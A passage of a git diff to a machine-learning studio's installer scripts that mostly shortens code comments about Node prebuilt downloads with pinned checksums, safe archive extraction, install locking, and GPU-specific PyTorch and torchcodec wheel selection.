- # Streamed by name, never tar.extract: the member path is not trusted.
+ # Never tar.extract: the member path is not trusted.
source = bundle.extractfile(entry)
if source is None:
raise MxcInstallError(f"the approved {target} member is unreadable")
@@ -270,9 +270,8 @@ def _host_prep_script(executable: Path, arguments: list[str]) -> str:
" try { [IO.Directory]::Delete($dir, $true) } catch { }",
"}",
)
- # One line for -Command: a statement ends in "; ", an opened block in a space.
script = "".join(line.strip() + (" " if line.endswith("{") else "; ") for line in lines)
- # Only single-quoted literals: a double quote would be stripped by command-line parsing.
+ # A double quote would be stripped by command-line parsing.
if '"' in script:
raise MxcInstallError("the host-prep path cannot be passed to PowerShell")
return script.rstrip("; ")
@@ -289,10 +288,9 @@ def _run_host_prep(executable: Path, step: str) -> int:
arguments = [step, "--quiet"] if step == "prepare-null-device" else [step]
system = _system_directory()
powershell = os.path.join(system, "WindowsPowerShell", "v1.0", "powershell.exe")
- # Inline text, never a script file: the elevated process must not read anything a user can rewrite.
+ # Inline text, never a script file: the elevated process must not read user-writable files.
script = _host_prep_script(executable, arguments)
launcher = ["-NoLogo", "-NoProfile", "-NonInteractive", "-Command", script]
- # Measured 3 to 7 minutes on a CI runner: it propagates an ACE across the whole system drive.
print(f"[mxc-prebuilt] running wxc-host-prep {step}; this can take several minutes")
if _is_elevated():
code = subprocess.run(
diff --git a/studio/install_node_prebuilt.py b/studio/install_node_prebuilt.py
index 13713b77a13..f5e25426650 100644
--- a/studio/install_node_prebuilt.py
+++ b/studio/install_node_prebuilt.py
@@ -64,22 +64,15 @@ EXIT_SUCCESS = 0
EXIT_ERROR = 1
EXIT_FALLBACK = 2
EXIT_BUSY = 3
-# The install directory cannot be written. Separate from EXIT_ERROR because the
-# caller's advice for that one is "install Node yourself or check your network",
-# which is wrong here and sends people to look at the wrong thing.
+# Separate from EXIT_ERROR, whose "install Node yourself" advice is wrong here.
EXIT_DENIED = 4
-# setup.ps1 reads these back out to diagnose the object that was actually
-# refused. The install lock and the .staging root live in the install
-# directory's parent, so "delete or rename the Node cache" is the wrong advice
-# for half of the denials that reach exit 4, and the directory it names may not
-# even exist. Classified here, where the install directory is known, rather than
-# re-derived from a path string on the PowerShell side.
+# setup.ps1 reads these back to name the object actually refused (lock and .staging live in the parent).
DENIED_PATH_MARKER = "denied-path: "
DENIED_SCOPE_MARKER = "denied-scope: "
DENIED_SCOPE_INSTALL_DIR = "install-dir"
DENIED_SCOPE_PARENT = "parent"
-# Node 24 LTS bundles npm 11, clearing Vite 8's floor (Node ^20.19 || >=22.12, npm >= 11).
+# Node 24 LTS bundles npm 11, clearing Vite 8's floor.
NODE_MIN_LTS_MAJOR = 24
NPM_MIN_MAJOR = 11
@@ -90,23 +83,19 @@ RETRYABLE_HTTP_STATUS = {408, 429, 500, 502, 503, 504}
HTTP_FETCH_ATTEMPTS = 4
HTTP_FETCH_BASE_DELAY_SECONDS = 0.75
INSTALL_LOCK_TIMEOUT_SECONDS = 300
-# The runtime-verification record is an optimisation, so it waits for the lock only briefly:
-# blocking a launch for the full install timeout to write a record that merely saves two
-# subprocess spawns next time is a worse outcome than never writing it.
+# The record is an optimisation: wait for the lock only briefly, never the full install timeout.
RECORD_LOCK_TIMEOUT_SECONDS = 5
INSTALL_STAGING_ROOT_NAME = ".staging"
METADATA_FILENAME = "UNSLOTH_NODE_PREBUILT_INFO.json"
METADATA_SCHEMA_VERSION = 1
-# Trust anchor: verify archives against sha256 pins committed in
-# node_prebuilt_pins.json (in-tree, code-reviewed), not a same-origin checksum.
+# Trust anchor: in-tree, code-reviewed pins, not a same-origin checksum.
PINS_FILENAME = "node_prebuilt_pins.json"
PINS_SCHEMA_VERSION = 1
DEFAULT_NODE_CHANNEL = "pinned"
# Opt-in to install an unpinned version, trusting the same-origin SHASUMS256.txt.
ALLOW_UNVERIFIED_ENV = "UNSLOTH_NODE_ALLOW_UNVERIFIED"
-# PowerShell renders stderr as NativeCommandError noise; main() flips logs to stdout.
_LOG_TO_STDOUT = False
@@ -157,11 +146,10 @@ def detect_host() -> HostInfo:
elif machine in {"arm64", "aarch64"}:
node_arch = "arm64"
else:
- # 32-bit ARM (armv7l) is intentionally unsupported: Node 24 LTS ships no
- # linux-armv7l build, so there is nothing at/above the floor to install.
+ # Node 24 ships no linux-armv7l build.
raise PrebuiltFallback(f"unsupported CPU architecture for Node prebuilt: {machine}")
- # .tar.gz (not .tar.xz) on Unix so the extractor needs no xz; .zip on Windows.
+ # Not .tar.xz so the extractor needs no xz.
archive_ext = ".zip" if is_windows else ".tar.gz"
return HostInfo(
system = system,
@@ -258,7 +246,6 @@ def select_node_version(index: list[dict], *, channel: str, min_major: int) -> s
# ── HTTP (retry/backoff) ──
def _auth_headers() -> dict[str, str]:
- # A User-Agent keeps some proxies/CDNs happy; nodejs.org needs no auth.
return {"User-Agent": "unsloth-studio-node-prebuilt"}
@@ -267,7 +254,6 @@ def is_retryable_url_error(exc: Exception) -> bool:
return exc.code in RETRYABLE_HTTP_STATUS
if isinstance(exc, (urllib.error.URLError, TimeoutError, socket.timeout)):
return True
- # A dropped connection or a body cut short is not wrapped in URLError; see prebuilt_core.
if isinstance(exc, (ConnectionError, http.client.IncompleteRead)):
return True
return False
@@ -301,8 +287,7 @@ def fetch_json(url: str) -> object:
def atomic_replace_from_tempfile(tmp_path: Path, destination: Path) -> None:
- # The same retry the directory renames use: rename-over needs DELETE access on the destination,
- # so a scanner holding the marker fails the swap outright. A no-op off Windows.
+ # Rename-over needs DELETE access on the destination, so a scanner can fail the swap; retry.
destination.parent.mkdir(parents = True, exist_ok = True)
_replace_with_retry(tmp_path, destination)
@@ -449,7 +434,6 @@ def resolve_expected_sha256(pins: dict, version: str, asset: str, *, allow_unver
f"{ALLOW_UNVERIFIED_ENV} is set. This checksum shares the archive's origin and is "
f"not an independent integrity guarantee."
)
- # A non-UTF8 body just yields no hex match below -> clean PrebuiltFallback.
shasums = download_bytes(node_shasums_url(version), timeout = 30).decode("utf-8", "replace")
expected = expected_sha256_for(shasums, asset)
if not expected:
@@ -486,8 +470,7 @@ def _extract_zip_safely(source: Path, base: Path) -> None:
def _extract_tar_safely(source: Path, base: Path) -> None:
- # Node Unix tarballs ship bin/npm, bin/npx, bin/corepack as relative
- # symlinks into lib/node_modules; defer links and resolve after files.
+ # bin/npm, npx, corepack are relative symlinks into lib/node_modules; resolve after files.
pending_links: list[tuple[tarfile.TarInfo, Path]] = []
with tarfile.open(source, "r:gz") as archive:
for member in archive.getmembers():
@@ -564,7 +547,6 @@ def _pid_is_alive(pid: int) -> bool:
**_windows_hidden_kwargs(),
)
except (OSError, ValueError, subprocess.SubprocessError):
- # Be conservative if tasklist itself is unavailable.
return True
return f'"{pid}"' in result.stdout
try:
@@ -593,8 +575,7 @@ def install_lock(lock_path: Path, *, timeout: float | None = None) -> Iterator[N
break
except FileExistsError:
try:
- # errors="replace" so an undecodable lock reaches the int()
- # below and is treated as a stale PID, not retried forever.
+ # errors="replace" so an undecodable lock is treated as stale, not retried forever.
raw = lock_path.read_text(encoding = "utf-8", errors = "replace").strip()
except FileNotFoundError:
continue
@@ -605,8 +586,7 @@ def install_lock(lock_path: Path, *, timeout: float | None = None) -> Iterator[N
except ValueError:
stale = True
if stale:
- # Atomically rename before unlinking so only one racer removes
- # the stale lock; a process recreating it loses the rename and waits.
+ # Rename before unlinking so only one racer removes the stale lock.
try:
stale_path = lock_path.with_name(f"{lock_path.name}.stale.{os.getpid()}")
os.replace(str(lock_path), str(stale_path))
@@ -642,7 +622,6 @@ def node_binary_path(install_dir: Path, host: HostInfo) -> Path:
def npm_cli_path(install_dir: Path, host: HostInfo) -> Path:
- # Windows ships npm at <root>\node_modules\npm; Unix at <root>/lib/node_modules/npm.
if host.is_windows:
return install_dir / "node_modules" / "npm" / "bin" / "npm-cli.js"
return install_dir / "lib" / "node_modules" / "npm" / "bin" / "npm-cli.js"
@@ -667,8 +646,7 @@ def _run_node(
) -> str:
node_bin = node_binary_path(install_dir, host)
env = os.environ.copy()
- # Keep any `npm -g` writes inside the isolated prefix: Windows npm otherwise defaults its global
- # prefix to %APPDATA%\npm and touches the system install.
+ # Windows npm otherwise defaults its global prefix to %APPDATA%\npm.
env["NPM_CONFIG_PREFIX"] = str(install_dir)
env["npm_config_prefix"] = str(install_dir)
env.pop("NODE_PATH", None)
@@ -737,7 +715,6 @@ def _write_metadata_payload(install_dir: Path, payload: dict) -> None:
except OSError:
original = None
original_mode: int | None = stat.S_IMODE(original.st_mode) if original is not None else None
- # newline at the default, as write_text had it: the marker's bytes must not change on Windows.
handle = tempfile.NamedTemporaryFile(
prefix = destination.name + ".tmp-",
dir = destination.parent,
@@ -751,8 +728,7 @@ def _write_metadata_payload(install_dir: Path, payload: dict) -> None:
handle.write(json.dumps(payload, indent = 2) + "\n")
handle.flush()
os.fsync(handle.fileno())
- # NamedTemporaryFile is 0600 and os.replace keeps it, so a refresh left a shared marker
- # unreadable to other users.
+ # NamedTemporaryFile is 0600 and os.replace keeps it, so restore the shared marker's mode.
replacing_an_existing_marker = original_mode is not None
if original_mode is None:
mask = os.umask(0)
@@ -761,14 +737,11 @@ def _write_metadata_payload(install_dir: Path, payload: dict) -> None:
try:
os.chmod(tmp_path, original_mode)
except OSError:
- # Only the REFRESH abandons: it is the one with another reader and a mode worth
- # keeping. Raising on a FIRST write aborts a whole Node install over a cosmetic
- # chmod, reachable on Windows through the sharing violation the swap already retries.
+ # Only a refresh raises: a first-write chmod failure must not abort the install.
if replacing_an_existing_marker:
raise
if original is not None:
- # Owner then group, as prebuilt_core.write_live_marker explains: neither call
- # alone is right for both root and a non-root member of a shared group.
+ # Owner then group, as prebuilt_core.write_live_marker explains.
try:
os.chown(tmp_path, original.st_uid, original.st_gid)
except (OSError, AttributeError):
@@ -828,7 +801,6 @@ def prebuilt_full_check_requested() -> bool:
def _file_record(path: Path) -> dict | None:
"""size, mtime_ns and sha256 for one file, or None when it cannot be read."""
- # Streamed: node is ~110 MB.
try:
info = path.stat()
digest = sha256_file(path)
@@ -889,16 +861,12 @@ def record_runtime_verification(
"npm_major_checked": npm_major,
}
if all(meta.get(key) == value for key, value in fresh.items()):
- # Nothing learned, so nothing is published. Reached on every run under
- # UNSLOTH_PREBUILT_FULL_CHECK, which re-proves what the record already says: rewriting
- # the marker there would move its mtime and inode, and re-apply its mode and owner,
- # forever, for bytes that do not change.
+ # Nothing learned: rewriting would churn mtime, inode, mode and owner forever.
return
meta.update(fresh)
try:
_write_metadata_payload(install_dir, meta)
except Exception: # noqa: BLE001
- # An unrefreshable marker costs the two spawns again, never a torn read of "nothing installed".
pass
@@ -928,8 +896,7 @@ def _recorded_runtime_matches(install_dir: Path, host: HostInfo, meta: dict, ver
return False
if not _file_record_matches(npm_cli_path(install_dir, host), meta.get("npm_cli")):
return False
- # chmod -x moves ctime only, so the records still match a node that cannot run. npm-cli.js is
- # read by node, not executed; Windows has no execute bit.
+ # chmod -x moves ctime only, so the records still match a node that cannot run.
return host.is_windows or os.access(node_binary_path(install_dir, host), os.X_OK)
@@ -959,11 +926,7 @@ def _record_runtime_verification_under_lock(
return False
record_runtime_verification(install_dir, host, version = version, npm_major = npm_major)
except BusyInstallConflict:
- # Busy is not evidence. The marker still being the one that was read IS evidence, and
- # that is the False above; failing to look at it says only that nothing was written.
- # Answering False here would send a legacy install on to the outer install lock, which
- # the same holder also fails, so the first launch beside a running installer would exit
- # busy where the pre-record path reported the install current and exited 0.
+ # Busy is not evidence; answering False would make the first launch beside an installer exit busy.
log("another installer holds the lock; keeping the verified install without a record")
except Exception: # noqa: BLE001
pass
@@ -987,7 +950,6 @@ def existing_install_matches(
if expected_sha is not None and meta.get("sha256") != expected_sha:
return False
if _recorded_runtime_matches(install_dir, host, meta, version):
- # Stands in for `node -v` only: npm-cli.js bootstraps thousands of files, so npm is still probed.
npm_major = installed_npm_major(install_dir, host)
return npm_major is not None and npm_major >= NPM_MIN_MAJOR
if installed_node_version(install_dir, host) != version:
@@ -995,11 +957,9 @@ def existing_install_matches(
npm_major = installed_npm_major(install_dir, host)
if npm_major is None or npm_major < NPM_MIN_MAJOR:
return False
- # Written under the install lock either way: the caller's, or one taken here.
if under_lock:
record_runtime_verification(install_dir, host, version = version, npm_major = npm_major)
return True
- # A marker that changed hands under the lock is another installer's tree, whose re-check decides.
return _record_runtime_verification_under_lock(
install_dir, host, meta, version = version, npm_major = npm_major
)
@@ -1015,7 +975,7 @@ def existing_install_usable(install_dir: Path, host: HostInfo) -> bool:
return npm_major is not None and npm_major >= NPM_MIN_MAJOR
-# Retried (scanners raise it right after extraction), but unreadable ACLs raise it too (#9928).
+# Retried (scanners raise it after extraction), but unreadable ACLs raise it too.
_ERROR_ACCESS_DENIED = 5
@@ -1104,9 +1064,7 @@ def _swap_into_place(extracted_root: Path, install_dir: Path) -> None:
access_denied_paths = ((extracted_root, True), (install_dir.parent, False)),
)
except OSError:
- # The forward rename retries ~16s, ample time for a scanner to grab the backup too.
- # A plain os.replace would raise over the original error and leave no install_dir at all, so the rollback gets
- # the same backoff and never masks it.
+ # The rollback gets the same backoff, else a scanner on the backup leaves no install_dir.
if backup is not None and not install_dir.exists():
try:
_replace_with_retry(
@@ -1137,7 +1095,6 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
pins = load_pins()
if channel in {"", "pinned", "default"}:
- # Default path: the committed pin, no index.json round-trip.
version = pinned_default_version(pins)
elif channel in {"lts", "latest"}:
try:
@@ -1152,7 +1109,6 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
version = select_node_version(index, channel = channel, min_major = min_major)
else:
version = channel.lstrip("v")
- # Explicit version bypasses min_major; reject anything Vite/OXC cannot use.
if not _meets_node_floor(version):
raise PrebuiltFallback(
f"requested Node v{version} is below the floor (^20.19 || >=22.12 || >=23)"
@@ -1161,9 +1117,7 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
asset = node_asset_name(version, host)
log(f"target Node v{version} ({asset})")
- # Only keep an existing install if it matches the committed pin (or the caller
- # opted out of pinning); an unpinned target without opt-in falls through to the
- # refusal in resolve_expected_sha256 rather than short-circuiting on it.
+ # Keep an existing install only if it matches the pin (or pinning is opted out).
pin = pinned_sha256(pins, version, asset)
allow_unverified = allow_unverified_node()
may_keep = pin is not None or allow_unverified
@@ -1177,7 +1131,6 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
return EXIT_SUCCESS
with install_lock(install_lock_path(install_dir)):
- # Re-check under the lock: a concurrent run may have just finished.
if (
not force
and may_keep
@@ -1223,12 +1176,10 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
except OSError:
pass
except UnpinnedNodeRefused:
- # A policy refusal, not a transient failure: fail closed, never keep-existing.
+ # A policy refusal: fail closed, never keep-existing.
raise
except Exception as exc: # noqa: BLE001
- # Transient download/verify failure: keep an existing usable Node, but never keep a same-version
- # install whose recorded digest is not the pin (the artifact the short-circuit above just
- # rejected). A different usable version is still kept for offline resilience.
+ # Never keep a same-version install whose recorded digest is not the pin.
meta = load_metadata(install_dir)
pin_mismatch = (
pin is not None
@@ -1255,8 +1206,6 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
raise PrebuiltFallback(
f"post-install verification failed: node={final_version} npm_major={npm_major}"
)
- # After the swap, since _ensure_npm_floor rewrites npm in the staged tree. The lock was released
- # above, so the write retakes it and proceeds only over the marker this install wrote.
installed_meta = load_metadata(install_dir) or {}
_record_runtime_verification_under_lock(
install_dir, host, installed_meta, version = final_version, npm_major = npm_major
@@ -1300,7 +1249,7 @@ def main(argv: list[str] | None = None) -> int:
log(str(exc))
return EXIT_BUSY
except UnpinnedNodeRefused as exc:
- # Catch before PrebuiltFallback so the refusal logs its own message.
+ # Catch before PrebuiltFallback (its base class) so the refusal logs its own message.
log(str(exc))
return EXIT_FALLBACK
except PrebuiltFallback as exc:
@@ -1309,8 +1258,7 @@ def main(argv: list[str] | None = None) -> int:
except PermissionError as exc:
return _report_access_denied(exc, install_dir)
except OSError as exc:
- # Windows reports the ACL and filter-driver denials that matter here as
- # winerror 5, which does not always arrive as PermissionError.
+ # Windows ACL / filter-driver denials arrive as winerror 5, not always PermissionError.
if getattr(exc, "winerror", None) == 5 or exc.errno == errno.EACCES:
return _report_access_denied(exc, install_dir)
log(f"unexpected error: {exc}")
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 4c862bff8cd..0108bdd2a33 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -40,7 +40,6 @@ for _dir in (_BACKEND_DIR, _STUDIO_DIR):
if str(_dir) not in sys.path:
sys.path.insert(1, str(_dir))
-# setup.sh/setup.ps1 invoke this by path, so its directory is sys.path[0].
import install_manifest # noqa: E402
try:
@@ -80,12 +79,8 @@ IS_LINUX = sys.platform.startswith("linux")
# amd-smi auto-elevates on Windows (UAC/DiskPart); RunAsInvoker keeps probes un-elevated.
if IS_WINDOWS:
os.environ.setdefault("__COMPAT_LAYER", "RunAsInvoker")
-# Platforms that HAVE a torchcodec wheel (manylinux_2_28 x86_64/aarch64, macosx arm64,
-# win_amd64); elsewhere the audio extras are filtered out or extras-no-deps fails. Stated
-# as the allowlist, like the pyproject markers this mirrors: the denylist spelling missed
-# every Linux arch past Arm. aarch64 arrived at 0.11.0, which is the row torch 2.11 selects,
-# so omitting it would deny audio to the hosts that row serves. Whether a platform ever
-# published, not when -- that is _torchcodec_platform_floor's job.
+# Allowlist of platforms that publish a torchcodec wheel (aarch64 from 0.11.0, the torch 2.11 row);
+# elsewhere audio extras are filtered out. The first release per platform is _torchcodec_platform_floor's.
_PLATFORM_HAS_TORCHCODEC_WHEEL = (
(IS_LINUX and platform.machine() in {"x86_64", "AMD64", "aarch64", "arm64"})
or (IS_WINDOWS and platform.machine().lower() in {"amd64", "x86_64"})
@@ -231,12 +226,8 @@ _AMD_ARCH_INDEX_FLOOR_GFX: frozenset[str] = frozenset(
)
-# MI50 / Radeon VII (gfx906, Vega 20): rocm6.4+/7.x wheels bundle ROCm libraries
-# whose Tensile kernels dropped gfx906 (rocBLAS "TensileLibrary.dat ... not read
-# for gfx906", ROCm/TheRock#1844), failing at the first BLAS call. The rocm6.3
-# index is the last one whose wheels run on gfx906 (torch 2.7.0 verified on MI50
-# 32GB; up to 2.9 in community use). Uses the _default (<2.11) pkg specs -- the
-# rocm7.2 floor of 2.11 cannot be satisfied there. Mirrors install.sh.
+# gfx906 (MI50 / Radeon VII): rocm6.4+ wheels dropped its Tensile kernels and fail at the first
+# BLAS call; rocm6.3 is the last index that runs. Uses the _default (<2.11) specs. Mirrors install.sh.
_GFX906_LEGACY_TAG = "rocm6.3"
@@ -257,20 +248,15 @@ def _runtime_target_is_gfx906() -> bool:
on a mixed host, so a non-gfx906 selection is never mis-identified as gfx906
(and downgraded to rocm6.3). Mixed gfx906+dGPU hosts opt in with the env var.
"""
- # A mask hiding every GPU must not buy a force-reinstall onto an OLDER tag, minus
- # bitsandbytes, for the card the user hid. No probe below is filtered by a HIP mask, so
- # without this a container over a populated /sys/class/kfd is downgraded anyway. Above
- # the override, as in _runtime_gfx_target: hiding every GPU is a statement about this run.
+ # A mask hiding every GPU must not force-reinstall onto an older tag; no probe below honours
+ # HIP masks. Checked before the override, as in _runtime_gfx_target.
if _visible_masks_select_no_gpu():
return False
- # Normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) so the
- # feature-flag suffix does not defeat the exact comparison (mirrors device_type.py).
+ # Strip the feature suffix (gfx906:sramecc-:xnack- -> gfx906), as device_type.py does.
override = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip().lower().split(":")[0]
if override:
return override == "gfx906"
- # Unmasked: "the SOLE arch" is a question about the machine. ROCR_VISIBLE_DEVICES filters
- # rocminfo before it answers, so a mask naming the MI50 on a mixed host would present it
- # as the only card and unlock the downgrade the sole-arch rule exists to withhold there.
+ # Unmasked on purpose: a mask naming the MI50 on a mixed host would make it look like the sole arch.
return set(_detect_amd_gfx_codes(ignore_visible_masks = True)) == {"gfx906"}
@@ -284,9 +270,8 @@ def _torch_below_211(installed_ver: str) -> bool:
return bool(_m) and (int(_m.group(1)), int(_m.group(2))) < (2, 11)
-# AMD per-arch leaves needing the torch 2.11 floor (the _grouped_mm <2.11 bug).
-# Mirrors *FloorMap in install.ps1 / setup.ps1 (unslothai/unsloth#11814).
-# gfx908 / gfx90a stay bare on purpose: no Windows wheels; Linux floors them via the rocm7.2 index.
+# Per-arch leaves needing the torch 2.11 floor (_grouped_mm <2.11 bug); mirrors *FloorMap in
+# install.ps1 / setup.ps1. gfx908 / gfx90a stay bare: no Windows wheels, Linux floors via rocm7.2.
_ROCM_GFX_TORCH211_LEAVES: frozenset[str] = frozenset(
{"gfx120x-all", "gfx1151", "gfx1150", "gfx1152", "gfx103x-all", "gfx110x-all"}
)
@@ -296,7 +281,6 @@ _ROCM_KNOWN_TORCH211_VERSIONS: frozenset[tuple[int, int]] = frozenset({(7, 2)})
# Per-tag repair specs; must land on the same wheels a fresh install.sh run does.
_ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
- # Floored at 2.11 (the _grouped_mm bug), matching install.sh's rocm7.2|gfx* case.
"rocm7.2": (
"torch>=2.11.0,<2.12.0",
"torchvision>=0.26.0,<0.27.0",
@@ -308,7 +292,6 @@ _ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
"torchvision>=0.19,<0.27.0",
"torchaudio>=2.4,<2.12.0",
),
- # rocm7.0 and earlier top out below 2.11, so the ceiling stays literal.
"_default": (
"torch>=2.4,<2.11.0",
"torchvision>=0.19,<0.26.0",
@@ -334,10 +317,8 @@ _WINDOWS_ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
"gfx1102": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
"gfx1103": _ROCM_TORCH_PKG_SPECS["rocm7.2"],
}
-# Windows RDNA arches install from AMD's multi-arch index (#11815, #11614): one URL, card picked by the
-# torch[device-gfxNNNN] extra, pinned to one exact tag inside <2.12.0 so nothing is kept (#11814).
-# Not rocm7.14.1: its Windows wheels pair an AOTriton 0.12 runtime with 0.13 kernels, so fused SDPA fails
-# (ROCm/TheRock#7992). The family map stays for family-layout mirrors and the classifiers. Linux unchanged.
+# Windows RDNA uses AMD's multi-arch index, card picked by torch[device-gfxNNNN], pinned to one tag
+# <2.12.0. Not rocm7.14.1: its AOTriton runtime/kernel mismatch breaks fused SDPA (TheRock#7992).
_ROCM_WINDOWS_MULTIARCH_INDEX_BASE = (
os.environ.get("UNSLOTH_ROCM_WINDOWS_MULTIARCH_MIRROR")
or "https://repo.amd.com/rocm/whl-multi-arch"
@@ -554,7 +535,6 @@ def _torch_index_leaf(url: str) -> str:
return path.rstrip("/").rsplit("/", 1)[-1].lower()
-# CUDA repair specs (see _ensure_cuda_torch); companions pinned against an ABI mismatch.
_CUDA_TORCH_PKG_SPEC: tuple[str, str, str] = (
"torch>=2.4,<2.12.0",
"torchvision>=0.19,<0.27.0",
@@ -564,8 +544,7 @@ _CUDA_TORCH_PKG_SPEC: tuple[str, str, str] = (
# CPU repair specs (see _ensure_cpu_torch); the /cpu index also serves newer torch.
_CPU_TORCH_PKG_SPEC: tuple[str, str, str] = _CUDA_TORCH_PKG_SPEC
-# Byte-identical to the non-XPU arm of install.ps1's $_fix*Spec scalars, NOT _CUDA_TORCH_PKG_SPEC:
-# `studio update` must repair to the same wheels install.ps1 does.
+# Byte-identical to the non-XPU arm of install.ps1's $_fix*Spec scalars, NOT _CUDA_TORCH_PKG_SPEC.
_TORCH_FLAVOR_REPAIR_PKG_SPEC: tuple[str, str, str] = (
"torch>=2.4,<2.12.0",
"torchvision>=0.19,<0.27.0",
@@ -741,8 +720,7 @@ class _FreezeNewTorchForCoreUpdate:
pins = _resident_torch_trio_pins()
if not pins:
return self
- # uv applies every override for a package, so an inherited torch line would conflict:
- # fold the inherited files in without their trio entries, as install.sh does.
+ # uv applies every override for a package: fold inherited files in without their trio entries.
lines = list(pins)
for inherited in (self._previous or "").split():
try:
@@ -863,16 +841,8 @@ _TORCHCODEC_TORCH_SPECS: dict[int, str] = {
_TORCHCODEC_MIN_KNOWN_MINOR = min(_TORCHCODEC_TORCH_SPECS)
_TORCHCODEC_MAX_KNOWN_MINOR = max(_TORCHCODEC_TORCH_SPECS)
-# Not every platform was published from 0.1. Read off the live PyPI index:
-#
-# win_amd64 first at 0.7.0 (0.1 .. 0.6 are Linux/macOS only)
-# manylinux aarch64 first at 0.11.0
-# manylinux x86_64 from the start
-# macosx arm64 from the start, min macOS moves 11.0 -> 14.0 at 0.12.0
-#
-# A window whose releases have no wheel here aborts the install rather than skipping audio,
-# and it is reachable: cu118 tops out at torch 2.7, so an older-driver Windows box selects
-# `>=0.3.0,<0.6.0`, and no release in that window ships win_amd64.
+# First release per platform (PyPI): win_amd64 0.7.0, manylinux aarch64 0.11.0, x86_64 and macOS
+# arm64 from the start. A window with no wheel here aborts the install instead of skipping audio.
_TORCHCODEC_MIN_WHEEL_VERSION = (0, 1, 0)
_TORCHCODEC_MIN_WHEEL_WINDOWS = (0, 7, 0)
_TORCHCODEC_MIN_WHEEL_LINUX_AARCH64 = (0, 11, 0)
@@ -923,18 +893,8 @@ def _mlx_pins_are_installable() -> bool:
return (_macos_release_major() or 0) >= _MLX_MIN_MACOS_MAJOR
-# The supported Python range moves three times across the lines we select from.
-# Transcribed from upstream's published table (README / PyPI):
-#
-# 0.1 >=3.9, <=3.12
-# 0.2 .. 0.7 >=3.9, <=3.13
-# 0.8 >=3.10, <=3.13
-# 0.9 + >=3.10, <=3.14
-#
-# Entries are (first release of the run, min python, max python); a run ends where the next
-# begins. A separate axis from the platform floor: a host can have a wheel for its
-# architecture and none for its interpreter. Reachable at torch 2.5 on Python 3.13, whose
-# only line is 0.1, which stops at 3.12.
+# Supported Python per torchcodec run (first release, min, max) from upstream's table:
+# 0.1 3.9-3.12, 0.2-0.7 3.9-3.13, 0.8 3.10-3.13, 0.9+ 3.10-3.14. Separate from the platform floor.
_TORCHCODEC_PYTHON_WINDOWS: "tuple[tuple[tuple[int, int, int], tuple[int, int], tuple[int, int]], ...]" = (
((0, 1, 0), (3, 9), (3, 12)),
((0, 2, 0), (3, 9), (3, 13)),
@@ -963,14 +923,11 @@ def _torchcodec_python_is_supported(
return False
-# download.pytorch.org carries torchcodec only from 0.3 up; 0.1 and 0.2 were published to
-# PyPI alone. So the two oldest rows (torch 2.5 -> 0.1, 2.6 -> 0.2) cannot be pinned at all,
-# and pinning them would turn a working-or-not install into a guaranteed skip on exactly the
-# oldest venvs. They keep today's unpinned behavior.
+# download.pytorch.org carries torchcodec only from 0.3, so torch 2.5/2.6 rows stay unpinned.
_TORCHCODEC_MIN_ON_TORCH_INDEX = (0, 3, 0)
-# torchcodec has no xpu build: the xpu leaf republishes cpu wheels, Linux x86_64 only, from
-# 0.13 up, so xpu takes cpu. Unpinned is not an option -- PyPI's default is the CUDA build.
+# torchcodec has no xpu build (the xpu leaf republishes cpu wheels from 0.13), so xpu takes cpu;
+# unpinned would get PyPI's CUDA build.
_TORCHCODEC_INDEX_TAGS = {"xpu": "cpu"}
@@ -987,15 +944,13 @@ def _cuda_major_for_npp(torch_version: "str | None", index_url: str) -> str:
match = re.fullmatch(r"cu(\d+)", local)
if match:
return match.group(1)[:2]
- # No usable local tag: a torch from PyPI carries none. Fall back to the leaf, which
- # still answers for the public download.pytorch.org form.
+ # A PyPI torch carries no local tag; fall back to the index leaf.
match = re.search(r"/cu(\d+)/?$", index_url or "")
return match.group(1)[:2] if match else ""
-# `nvidia-npp-cu13` is a wheel-less stub ("DEPRECATED: Use nvidia-npp instead"); plain
-# `nvidia-npp` is the 13.x runtime. WRONG to widen into "13 drops the suffix": `nvidia-cudnn`
-# and `nvidia-nccl` kept theirs, and their unsuffixed names are fake warning packages.
+# nvidia-npp-cu13 is a wheel-less stub and plain nvidia-npp is the 13.x runtime. Do not generalise:
+# nvidia-cudnn / nvidia-nccl kept their suffix and the unsuffixed names are fake packages.
_NPP_SUFFIXED_THROUGH_CUDA_MAJOR = 12
@@ -1014,8 +969,7 @@ def _npp_requirement(cuda_major: str) -> str:
return f"nvidia-npp>={cuda_major},<{int(cuda_major) + 1}"
-# Any sign of the CUDA runtime, versioned or not: nvcudart_hybrid64.dll is the Windows cu130
-# spelling and carries no major. Absent entirely from a cpu build, which is what makes "" safe.
+# nvcudart_hybrid64.dll (Windows cu130) carries no major; absent from cpu builds, so "" is safe.
_CUDA_RUNTIME_MARKER_RE = re.compile(
rb"nvcuda\.dll|torch_cuda|nvcudart|libcudart|cudart64|libcuda\.so"
)
@@ -1102,15 +1056,11 @@ def _torch_accelerator_index_url(
if not torch_version:
return None
substitutions = substitutions or {}
- # Verbatim, and BEFORE the tag check: only download.pytorch.org stamps +cuNNN, so a
- # private mirror rebuilding torch ships it bare, and requiring a tag first sent exactly
- # that host to PyPI. Rewriting a leaf inside the URL would be a guess.
+ # Verbatim and before the tag check: private mirrors rebuild torch without the +cuNNN tag.
url = os.environ.get("UNSLOTH_TORCH_INDEX_URL", "").strip()
if url:
return _trim_index_path_slashes(url)
- # Substitution still applies (FAMILY=xpu must not send torchcodec to a leaf with no codec
- # below 0.13). Before the tag check for the same reason as the URL, and because
- # _explicit_unknown_family_torch_index_url leaves such a torch alone: a None is final.
+ # Before the tag check too: FAMILY=xpu must still substitute, and a None here is final.
family = os.environ.get("UNSLOTH_TORCH_INDEX_FAMILY", "").strip().strip("/")
if family:
return _pytorch_whl_leaf_url(substitutions.get(family.lower(), family))
